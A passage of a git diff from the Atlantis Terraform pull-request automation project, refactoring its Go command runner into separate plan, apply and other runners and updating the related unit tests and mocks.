:= c.VCSClient.CreateComment(ctx.Pull.BaseRepo, ctx.Pull.Num, "Atlantis commands can't be run on closed pull requests", ""); err != nil { + if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, "Atlantis commands can't be run on closed pull requests", ""); err != nil { ctx.Log.Err("unable to comment: %s", err) } return false } - return true -} - -func (c *DefaultCommandRunner) updatePull(ctx *CommandContext, command PullCommand, res CommandResult) { - // Log if we got any errors or failures. - if res.Error != nil { - ctx.Log.Err(res.Error.Error()) - } else if res.Failure != "" { - ctx.Log.Warn(res.Failure) - } - - // HidePrevPlanComments will hide old comments left from previous plan runs to reduce - // clutter in a pull/merge request. This will not delete the comment, since the - // comment trail may be useful in auditing or backtracing problems. - if c.HidePrevPlanComments { - if err := c.VCSClient.HidePrevPlanComments(ctx.Pull.BaseRepo, ctx.Pull.Num); err != nil { - ctx.Log.Err("unable to hide old comments: %s", err) - } - } - comment := c.MarkdownRenderer.Render(res, command.CommandName(), ctx.Log.History.String(), command.IsVerbose(), ctx.Pull.BaseRepo.VCSHost.Type) - if err := c.VCSClient.CreateComment(ctx.Pull.BaseRepo, ctx.Pull.Num, comment, command.CommandName().String()); err != nil { - ctx.Log.Err("unable to comment: %s", err) + repo := c.GlobalCfg.MatchingRepo(ctx.Pull.BaseRepo.ID()) + if !repo.BranchMatches(ctx.Pull.BaseBranch) { + ctx.Log.Info("command was run on a pull request which doesn't match base branches") + // just ignore it to allow us to use any git workflows without malicious intentions. + return false } + return true } // logPanics logs and creates a comment on the pull request for panics. @@ -558,6 +554,7 @@ func (c *DefaultCommandRunner) logPanics(baseRepo models.Repo, pullNum int, logg stack := recovery.Stack(3) logger.Err("PANIC: %s\n%s", err, stack) if commentErr := c.VCSClient.CreateComment( + logger, baseRepo, pullNum, fmt.Sprintf("**Error: goroutine panic. This is a bug.**\n```\n%s\n%s```", err, stack), @@ -568,59 +565,4 @@ func (c *DefaultCommandRunner) logPanics(baseRepo models.Repo, pullNum int, logg } } -// deletePlans deletes all plans generated in this ctx. -func (c *DefaultCommandRunner) deletePlans(ctx *CommandContext) { - pullDir, err := c.WorkingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull) - if err != nil { - ctx.Log.Err("getting pull dir: %s", err) - } - if err := c.PendingPlanFinder.DeletePlans(pullDir); err != nil { - ctx.Log.Err("deleting pending plans: %s", err) - } -} - -func (c *DefaultCommandRunner) updateDB(ctx *CommandContext, pull models.PullRequest, results []models.ProjectResult) (models.PullStatus, error) { - // Filter out results that errored due to the directory not existing. We - // don't store these in the database because they would never be "apply-able" - // and so the pull request would always have errors. - var filtered []models.ProjectResult - for _, r := range results { - if _, ok := r.Error.(DirNotExistErr); ok { - ctx.Log.Debug("ignoring error result from project at dir %q workspace %q because it is dir not exist error", r.RepoRelDir, r.Workspace) - continue - } - filtered = append(filtered, r) - } - ctx.Log.Debug("updating DB with pull results") - return c.DB.UpdatePullWithResults(pull, filtered) -} - -// automergeEnabled returns true if automerging is enabled in this context. -func (c *DefaultCommandRunner) automergeEnabled(ctx *CommandContext, projectCmds []models.ProjectCommandContext) bool { - // If the global automerge is set, we always automerge. - return c.GlobalAutomerge || - // Otherwise we check if this repo is configured for automerging. - (len(projectCmds) > 0 && projectCmds[0].AutomergeEnabled) -} - -// parallelApplyEnabled returns true if parallel apply is enabled in this context. -func (c *DefaultCommandRunner) parallelApplyEnabled(ctx *CommandContext, projectCmds []models.ProjectCommandContext) bool { - return len(projectCmds) > 0 && projectCmds[0].ParallelApplyEnabled -} - -// parallelPlanEnabled returns true if parallel plan is enabled in this context. -func (c *DefaultCommandRunner) parallelPlanEnabled(ctx *CommandContext, projectCmds []models.ProjectCommandContext) bool { - return len(projectCmds) > 0 && projectCmds[0].ParallelPlanEnabled -} - -// automergeComment is the comment that gets posted when Atlantis automatically -// merges the PR. var automergeComment = `Automatically merging because all plans have been successfully applied.` - -// applyAllDisabledComment is posted when apply all commands (i.e. "atlantis apply") -// are disabled and an apply all command is issued. -var applyAllDisabledComment = "**Error:** Running `atlantis apply` without flags is disabled." + - " You must specify which project to apply via the `-d `, `-w ` or `-p ` flags." - -// applyDisabledComment is posted when apply commands are disabled globally and an apply command is issued. -var applyDisabledComment = "**Error:** Running `atlantis apply` is disabled." diff --git a/server/events/command_runner_internal_test.go b/server/events/command_runner_internal_test.go index 2de083cad9..02a54c3870 100644 --- a/server/events/command_runner_internal_test.go +++ b/server/events/command_runner_internal_test.go @@ -3,20 +3,116 @@ package events import ( "testing" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) -func TestUpdateCommitStatus(t *testing.T) { +func TestApplyUpdateCommitStatus(t *testing.T) { cases := map[string]struct { - cmd models.CommandName + cmd command.Name + pullStatus models.PullStatus + expStatus models.CommitStatus + expNumSuccess int + expNumTotal int + }{ + "apply, one pending": { + cmd: command.Apply, + pullStatus: models.PullStatus{ + Projects: []models.ProjectStatus{ + { + Status: models.PlannedPlanStatus, + }, + { + Status: models.AppliedPlanStatus, + }, + }, + }, + expStatus: models.PendingCommitStatus, + expNumSuccess: 1, + expNumTotal: 2, + }, + "apply, all successful": { + cmd: command.Apply, + pullStatus: models.PullStatus{ + Projects: []models.ProjectStatus{ + { + Status: models.AppliedPlanStatus, + }, + { + Status: models.AppliedPlanStatus, + }, + }, + }, + expStatus: models.SuccessCommitStatus, + expNumSuccess: 2, + expNumTotal: 2, + }, + "apply, one errored, one pending": { + cmd: command.Apply, + pullStatus: models.PullStatus{ + Projects: []models.ProjectStatus{ + { + Status: models.AppliedPlanStatus, + }, + { + Status: models.ErroredApplyStatus, + }, + { + Status: models.PlannedPlanStatus, + }, + }, + }, + expStatus: models.FailedCommitStatus, + expNumSuccess: 1, + expNumTotal: 3, + }, + "apply, one planned no changes": { + cmd: command.Apply, + pullStatus: models.PullStatus{ + Projects: []models.ProjectStatus{ + { + Status: models.AppliedPlanStatus, + }, + { + Status: models.PlannedNoChangesPlanStatus, + }, + }, + }, + expStatus: models.SuccessCommitStatus, + expNumSuccess: 2, + expNumTotal: 2, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + csu := &MockCSU{} + cr := &ApplyCommandRunner{ + commitStatusUpdater: csu, + } + cr.updateCommitStatus(&command.Context{}, c.pullStatus) + Equals(t, models.Repo{}, csu.CalledRepo) + Equals(t, models.PullRequest{}, csu.CalledPull) + Equals(t, c.expStatus, csu.CalledStatus) + Equals(t, c.cmd, csu.CalledCommand) + Equals(t, c.expNumSuccess, csu.CalledNumSuccess) + Equals(t, c.expNumTotal, csu.CalledNumTotal) + }) + } +} + +func TestPlanUpdatePlanCommitStatus(t *testing.T) { + cases := map[string]struct { + cmd command.Name pullStatus models.PullStatus expStatus models.CommitStatus expNumSuccess int expNumTotal int }{ "single plan success": { - cmd: models.PlanCommand, + cmd: command.Plan, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { @@ -29,7 +125,7 @@ func TestUpdateCommitStatus(t *testing.T) { expNumTotal: 1, }, "one plan error, other errors": { - cmd: models.PlanCommand, + cmd: command.Plan, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { @@ -50,55 +146,98 @@ func TestUpdateCommitStatus(t *testing.T) { expNumSuccess: 3, expNumTotal: 4, }, - "apply, one pending": { - cmd: models.ApplyCommand, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + csu := &MockCSU{} + cr := &PlanCommandRunner{ + commitStatusUpdater: csu, + } + cr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Plan) + Equals(t, models.Repo{}, csu.CalledRepo) + Equals(t, models.PullRequest{}, csu.CalledPull) + Equals(t, c.expStatus, csu.CalledStatus) + Equals(t, c.cmd, csu.CalledCommand) + Equals(t, c.expNumSuccess, csu.CalledNumSuccess) + Equals(t, c.expNumTotal, csu.CalledNumTotal) + }) + } +} + +func TestPlanUpdateApplyCommitStatus(t *testing.T) { + cases := map[string]struct { + cmd command.Name + pullStatus models.PullStatus + expStatus models.CommitStatus + doNotCallUpdateApply bool // In certain situations, we don't expect updateCommitStatus to call the underlying commitStatusUpdater code at all + expNumSuccess int + expNumTotal int + }{ + "all plans success with no changes": { + cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { - Status: models.PlannedPlanStatus, + Status: models.PlannedNoChangesPlanStatus, }, { - Status: models.AppliedPlanStatus, + Status: models.PlannedNoChangesPlanStatus, }, }, }, - expStatus: models.PendingCommitStatus, - expNumSuccess: 1, + expStatus: models.SuccessCommitStatus, + expNumSuccess: 2, expNumTotal: 2, }, - "apply, all successful": { - cmd: models.ApplyCommand, + "one plan, one plan success with no changes": { + cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { - Status: models.AppliedPlanStatus, + Status: models.PlannedNoChangesPlanStatus, }, { - Status: models.AppliedPlanStatus, + Status: models.PlannedPlanStatus, }, }, }, - expStatus: models.SuccessCommitStatus, - expNumSuccess: 2, - expNumTotal: 2, + doNotCallUpdateApply: true, }, - "apply, one errored, one pending": { - cmd: models.ApplyCommand, + "one plan, one apply, one plan success with no changes": { + cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { - Status: models.AppliedPlanStatus, + Status: models.PlannedNoChangesPlanStatus, }, { - Status: models.ErroredApplyStatus, + Status: models.AppliedPlanStatus, }, { Status: models.PlannedPlanStatus, }, }, }, + doNotCallUpdateApply: true, + }, + "one apply error, one apply, one plan success with no changes": { + cmd: command.Apply, + pullStatus: models.PullStatus{ + Projects: []models.ProjectStatus{ + { + Status: models.PlannedNoChangesPlanStatus, + }, + { + Status: models.AppliedPlanStatus, + }, + { + Status: models.ErroredApplyStatus, + }, + }, + }, expStatus: models.FailedCommitStatus, - expNumSuccess: 1, + expNumSuccess: 2, expNumTotal: 3, }, } @@ -106,16 +245,21 @@ func TestUpdateCommitStatus(t *testing.T) { for name, c := range cases { t.Run(name, func(t *testing.T) { csu := &MockCSU{} - cr := &DefaultCommandRunner{ - CommitStatusUpdater: csu, + cr := &PlanCommandRunner{ + commitStatusUpdater: csu, + } + cr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Apply) + if c.doNotCallUpdateApply { + Equals(t, csu.Called, false) + } else { + Equals(t, csu.Called, true) + Equals(t, models.Repo{}, csu.CalledRepo) + Equals(t, models.PullRequest{}, csu.CalledPull) + Equals(t, c.expStatus, csu.CalledStatus) + Equals(t, c.cmd, csu.CalledCommand) + Equals(t, c.expNumSuccess, csu.CalledNumSuccess) + Equals(t, c.expNumTotal, csu.CalledNumTotal) } - cr.updateCommitStatus(&CommandContext{}, c.cmd, c.pullStatus) - Equals(t, models.Repo{}, csu.CalledRepo) - Equals(t, models.PullRequest{}, csu.CalledPull) - Equals(t, c.expStatus, csu.CalledStatus) - Equals(t, c.cmd, csu.CalledCommand) - Equals(t, c.expNumSuccess, csu.CalledNumSuccess) - Equals(t, c.expNumTotal, csu.CalledNumTotal) }) } } @@ -124,12 +268,14 @@ type MockCSU struct { CalledRepo models.Repo CalledPull models.PullRequest CalledStatus models.CommitStatus - CalledCommand models.CommandName + CalledCommand command.Name CalledNumSuccess int CalledNumTotal int + Called bool } -func (m *MockCSU) UpdateCombinedCount(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName, numSuccess int, numTotal int) error { +func (m *MockCSU) UpdateCombinedCount(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, command command.Name, numSuccess int, numTotal int) error { + m.Called = true m.CalledRepo = repo m.CalledPull = pull m.CalledStatus = status @@ -138,9 +284,19 @@ func (m *MockCSU) UpdateCombinedCount(repo models.Repo, pull models.PullRequest, m.CalledNumTotal = numTotal return nil } -func (m *MockCSU) UpdateCombined(repo models.Repo, pull models.PullRequest, status models.CommitStatus, command models.CommandName) error { + +func (m *MockCSU) UpdateCombined(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ command.Name) error { + return nil +} + +func (m *MockCSU) UpdateProject(_ command.ProjectContext, _ command.Name, _ models.CommitStatus, _ string, _ *command.ProjectResult) error { return nil } -func (m *MockCSU) UpdateProject(ctx models.ProjectCommandContext, cmdName models.CommandName, status models.CommitStatus, url string) error { + +func (m *MockCSU) UpdatePreWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { + return nil +} + +func (m *MockCSU) UpdatePostWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { return nil } diff --git a/server/events/command_runner_test.go b/server/events/command_runner_test.go index 1b8b333d05..9f05a55177 100644 --- a/server/events/command_runner_test.go +++ b/server/events/command_runner_test.go @@ -16,22 +16,26 @@ package events_test import ( "errors" "fmt" + "regexp" + "strconv" "strings" "testing" - "github.com/runatlantis/atlantis/server/events/db" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" - "github.com/google/go-github/v31/github" - . "github.com/petergtz/pegomock" + "github.com/google/go-github/v71/github" + . "github.com/petergtz/pegomock/v4" + lockingmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/mocks" - eventmocks "github.com/runatlantis/atlantis/server/events/mocks" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/models/fixtures" + "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" - logmocks "github.com/runatlantis/atlantis/server/logging/mocks" . "github.com/runatlantis/atlantis/testing" ) @@ -42,109 +46,300 @@ var azuredevopsGetter *mocks.MockAzureDevopsPullGetter var githubGetter *mocks.MockGithubPullGetter var gitlabGetter *mocks.MockGitlabMergeRequestGetter var ch events.DefaultCommandRunner -var pullLogger *logging.SimpleLogger var workingDir events.WorkingDir var pendingPlanFinder *mocks.MockPendingPlanFinder var drainer *events.Drainer var deleteLockCommand *mocks.MockDeleteLockCommand +var commitUpdater *mocks.MockCommitStatusUpdater +var pullReqStatusFetcher *vcsmocks.MockPullReqStatusFetcher -func setup(t *testing.T) *vcsmocks.MockClient { +// TODO: refactor these into their own unit tests. +// these were all split out from default command runner in an effort to improve +// readability however the tests were kept as is. +var dbUpdater *events.DBUpdater +var pullUpdater *events.PullUpdater +var autoMerger *events.AutoMerger +var policyCheckCommandRunner *events.PolicyCheckCommandRunner +var approvePoliciesCommandRunner *events.ApprovePoliciesCommandRunner +var planCommandRunner *events.PlanCommandRunner +var applyLockChecker *lockingmocks.MockApplyLockChecker +var lockingLocker *lockingmocks.MockLocker +var applyCommandRunner *events.ApplyCommandRunner +var unlockCommandRunner *events.UnlockCommandRunner +var importCommandRunner *events.ImportCommandRunner +var preWorkflowHooksCommandRunner events.PreWorkflowHooksCommandRunner +var postWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner + +type TestConfig struct { + parallelPoolSize int + SilenceNoProjects bool + silenceVCSStatusNoPlans bool + silenceVCSStatusNoProjects bool + StatusName string + discardApprovalOnPlan bool + backend locking.Backend + DisableUnlockLabel string +} + +func setup(t *testing.T, options ...func(testConfig *TestConfig)) *vcsmocks.MockClient { RegisterMockTestingT(t) + + // create an empty DB + tmp := t.TempDir() + defaultBoltDB, err := db.New(tmp) + t.Cleanup(func() { + defaultBoltDB.Close() + }) + Ok(t, err) + + testConfig := &TestConfig{ + parallelPoolSize: 1, + SilenceNoProjects: false, + StatusName: "atlantis-test", + discardApprovalOnPlan: false, + backend: defaultBoltDB, + DisableUnlockLabel: "do-not-unlock", + } + + for _, op := range options { + op(testConfig) + } + projectCommandBuilder = mocks.NewMockProjectCommandBuilder() eventParsing = mocks.NewMockEventParsing() vcsClient := vcsmocks.NewMockClient() githubGetter = mocks.NewMockGithubPullGetter() gitlabGetter = mocks.NewMockGitlabMergeRequestGetter() azuredevopsGetter = mocks.NewMockAzureDevopsPullGetter() - logger := logmocks.NewMockSimpleLogging() - pullLogger = logging.NewSimpleLogger("runatlantis/atlantis#1", true, logging.Info) + logger := logging.NewNoopLogger(t) projectCommandRunner = mocks.NewMockProjectCommandRunner() workingDir = mocks.NewMockWorkingDir() pendingPlanFinder = mocks.NewMockPendingPlanFinder() - - tmp, cleanup := TempDir(t) - defer cleanup() - defaultBoltDB, err := db.New(tmp) - Ok(t, err) + commitUpdater = mocks.NewMockCommitStatusUpdater() + pullReqStatusFetcher = vcsmocks.NewMockPullReqStatusFetcher() drainer = &events.Drainer{} - deleteLockCommand = eventmocks.NewMockDeleteLockCommand() - When(logger.GetLevel()).ThenReturn(logging.Info) - When(logger.NewLogger("runatlantis/atlantis#1", true, logging.Info)). - ThenReturn(pullLogger) + deleteLockCommand = mocks.NewMockDeleteLockCommand() + applyLockChecker = lockingmocks.NewMockApplyLockChecker() + lockingLocker = lockingmocks.NewMockLocker() + + dbUpdater = &events.DBUpdater{ + Backend: testConfig.backend, + } + + pullUpdater = &events.PullUpdater{ + HidePrevPlanComments: false, + VCSClient: vcsClient, + MarkdownRenderer: events.NewMarkdownRenderer(false, false, false, false, false, false, "", "atlantis", false, false), + } + + autoMerger = &events.AutoMerger{ + VCSClient: vcsClient, + GlobalAutomerge: false, + } + + policyCheckCommandRunner = events.NewPolicyCheckCommandRunner( + dbUpdater, + pullUpdater, + commitUpdater, + projectCommandRunner, + testConfig.parallelPoolSize, + testConfig.silenceVCSStatusNoProjects, + false, + ) + + planCommandRunner = events.NewPlanCommandRunner( + testConfig.silenceVCSStatusNoPlans, + testConfig.silenceVCSStatusNoProjects, + vcsClient, + pendingPlanFinder, + workingDir, + commitUpdater, + projectCommandBuilder, + projectCommandRunner, + dbUpdater, + pullUpdater, + policyCheckCommandRunner, + autoMerger, + testConfig.parallelPoolSize, + testConfig.SilenceNoProjects, + testConfig.backend, + lockingLocker, + testConfig.discardApprovalOnPlan, + pullReqStatusFetcher, + ) + + applyCommandRunner = events.NewApplyCommandRunner( + vcsClient, + false, + applyLockChecker, + commitUpdater, + projectCommandBuilder, + projectCommandRunner, + autoMerger, + pullUpdater, + dbUpdater, + testConfig.backend, + testConfig.parallelPoolSize, + testConfig.SilenceNoProjects, + testConfig.silenceVCSStatusNoProjects, + pullReqStatusFetcher, + ) + + approvePoliciesCommandRunner = events.NewApprovePoliciesCommandRunner( + commitUpdater, + projectCommandBuilder, + projectCommandRunner, + pullUpdater, + dbUpdater, + testConfig.SilenceNoProjects, + testConfig.silenceVCSStatusNoProjects, + vcsClient, + ) + + unlockCommandRunner = events.NewUnlockCommandRunner( + deleteLockCommand, + vcsClient, + testConfig.SilenceNoProjects, + testConfig.DisableUnlockLabel, + ) + + versionCommandRunner := events.NewVersionCommandRunner( + pullUpdater, + projectCommandBuilder, + projectCommandRunner, + testConfig.parallelPoolSize, + testConfig.SilenceNoProjects, + ) + + importCommandRunner = events.NewImportCommandRunner( + pullUpdater, + pullReqStatusFetcher, + projectCommandBuilder, + projectCommandRunner, + testConfig.SilenceNoProjects, + ) + + commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ + command.Plan: planCommandRunner, + command.Apply: applyCommandRunner, + command.ApprovePolicies: approvePoliciesCommandRunner, + command.Unlock: unlockCommandRunner, + command.Version: versionCommandRunner, + command.Import: importCommandRunner, + } + + preWorkflowHooksCommandRunner = mocks.NewMockPreWorkflowHooksCommandRunner() + + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) + + postWorkflowHooksCommandRunner = mocks.NewMockPostWorkflowHooksCommandRunner() + + When(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil) + + globalCfg := valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}) + scope, _, _ := metrics.NewLoggingScope(logger, "atlantis") + ch = events.DefaultCommandRunner{ - VCSClient: vcsClient, - CommitStatusUpdater: &events.DefaultCommitStatusUpdater{vcsClient, "atlantis"}, - EventParser: eventParsing, - MarkdownRenderer: &events.MarkdownRenderer{}, - GithubPullGetter: githubGetter, - GitlabMergeRequestGetter: gitlabGetter, - AzureDevopsPullGetter: azuredevopsGetter, - Logger: logger, - AllowForkPRs: false, - AllowForkPRsFlag: "allow-fork-prs-flag", - ProjectCommandBuilder: projectCommandBuilder, - ProjectCommandRunner: projectCommandRunner, - PendingPlanFinder: pendingPlanFinder, - WorkingDir: workingDir, - DisableApplyAll: false, - DB: defaultBoltDB, - Drainer: drainer, - DeleteLockCommand: deleteLockCommand, + VCSClient: vcsClient, + CommentCommandRunnerByCmd: commentCommandRunnerByCmd, + EventParser: eventParsing, + FailOnPreWorkflowHookError: false, + GithubPullGetter: githubGetter, + GitlabMergeRequestGetter: gitlabGetter, + AzureDevopsPullGetter: azuredevopsGetter, + Logger: logger, + StatsScope: scope, + GlobalCfg: globalCfg, + AllowForkPRs: false, + AllowForkPRsFlag: "allow-fork-prs-flag", + Drainer: drainer, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + PullStatusFetcher: testConfig.backend, + CommitStatusUpdater: commitUpdater, } + return vcsClient } func TestRunCommentCommand_LogPanics(t *testing.T) { t.Log("if there is a panic it is commented back on the pull request") vcsClient := setup(t) - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenPanic("panic test - if you're seeing this in a test failure this isn't the failing test") - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, 1, &events.CommentCommand{Name: models.PlanCommand}) - _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()).GetCapturedArguments() + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic( + "panic test - if you're seeing this in a test failure this isn't the failing test") + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, 1, &events.CommentCommand{Name: command.Plan}) + _, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() Assert(t, strings.Contains(comment, "Error: goroutine panic"), fmt.Sprintf("comment should be about a goroutine panic but was %q", comment)) } -func TestRunCommentCommand_NoGithubPullGetter(t *testing.T) { - t.Log("if DefaultCommandRunner was constructed with a nil GithubPullGetter an error should be logged") - setup(t) - ch.GithubPullGetter = nil - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, 1, nil) - Equals(t, "[EROR] Atlantis not configured to support GitHub\n", pullLogger.History.String()) -} - -func TestRunCommentCommand_NoGitlabMergeGetter(t *testing.T) { - t.Log("if DefaultCommandRunner was constructed with a nil GitlabMergeRequestGetter an error should be logged") - setup(t) - ch.GitlabMergeRequestGetter = nil - ch.RunCommentCommand(fixtures.GitlabRepo, &fixtures.GitlabRepo, nil, fixtures.User, 1, nil) - Equals(t, "[EROR] Atlantis not configured to support GitLab\n", pullLogger.History.String()) -} - func TestRunCommentCommand_GithubPullErr(t *testing.T) { t.Log("if getting the github pull request fails an error should be logged") vcsClient := setup(t) - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(nil, errors.New("err")) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "`Error: making pull request API call to GitHub: err`", "") + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New("err")) + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("`Error: making pull request API call to GitHub: err`"), Eq("")) } func TestRunCommentCommand_GitlabMergeRequestErr(t *testing.T) { t.Log("if getting the gitlab merge request fails an error should be logged") vcsClient := setup(t) - When(gitlabGetter.GetMergeRequest(fixtures.GitlabRepo.FullName, fixtures.Pull.Num)).ThenReturn(nil, errors.New("err")) - ch.RunCommentCommand(fixtures.GitlabRepo, &fixtures.GitlabRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GitlabRepo, fixtures.Pull.Num, "`Error: making merge request API call to GitLab: err`", "") + When(gitlabGetter.GetMergeRequest(Any[logging.SimpleLogging](), Eq(testdata.GitlabRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New("err")) + ch.RunCommentCommand(testdata.GitlabRepo, &testdata.GitlabRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GitlabRepo), Eq(testdata.Pull.Num), Eq("`Error: making merge request API call to GitLab: err`"), Eq("")) } func TestRunCommentCommand_GithubPullParseErr(t *testing.T) { t.Log("if parsing the returned github pull request fails an error should be logged") vcsClient := setup(t) var pull github.PullRequest - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(&pull, nil) - When(eventParsing.ParseGithubPull(&pull)).ThenReturn(fixtures.Pull, fixtures.GithubRepo, fixtures.GitlabRepo, errors.New("err")) + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(testdata.Pull, testdata.GithubRepo, testdata.GitlabRepo, errors.New("err")) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("`Error: extracting required fields from comment data: err`"), Eq("")) +} + +func TestRunCommentCommand_TeamAllowListChecker(t *testing.T) { + t.Run("nil checker", func(t *testing.T) { + vcsClient := setup(t) + // by default these are false so don't need to reset + ch.TeamAllowlistChecker = nil + var pull github.PullRequest + modelPull := models.PullRequest{ + BaseRepo: testdata.GithubRepo, + State: models.OpenPullState, + } + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) + }) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "`Error: extracting required fields from comment data: err`", "") + t.Run("no rules", func(t *testing.T) { + vcsClient := setup(t) + // by default these are false so don't need to reset + ch.TeamAllowlistChecker = &command.DefaultTeamAllowlistChecker{} + var pull github.PullRequest + modelPull := models.PullRequest{ + BaseRepo: testdata.GithubRepo, + State: models.OpenPullState, + } + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) + }) } func TestRunCommentCommand_ForkPRDisabled(t *testing.T) { @@ -156,19 +351,20 @@ func TestRunCommentCommand_ForkPRDisabled(t *testing.T) { ch.SilenceForkPRErrors = false var pull github.PullRequest modelPull := models.PullRequest{ - BaseRepo: fixtures.GithubRepo, + BaseRepo: testdata.GithubRepo, State: models.OpenPullState, } - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(&pull, nil) + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), 